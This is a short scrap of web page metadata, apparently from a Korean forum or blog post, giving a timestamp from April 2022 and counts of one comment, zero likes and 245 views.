2022-04-08T13:58:37.489Z
댓글 1
좋아요 0
조회수 245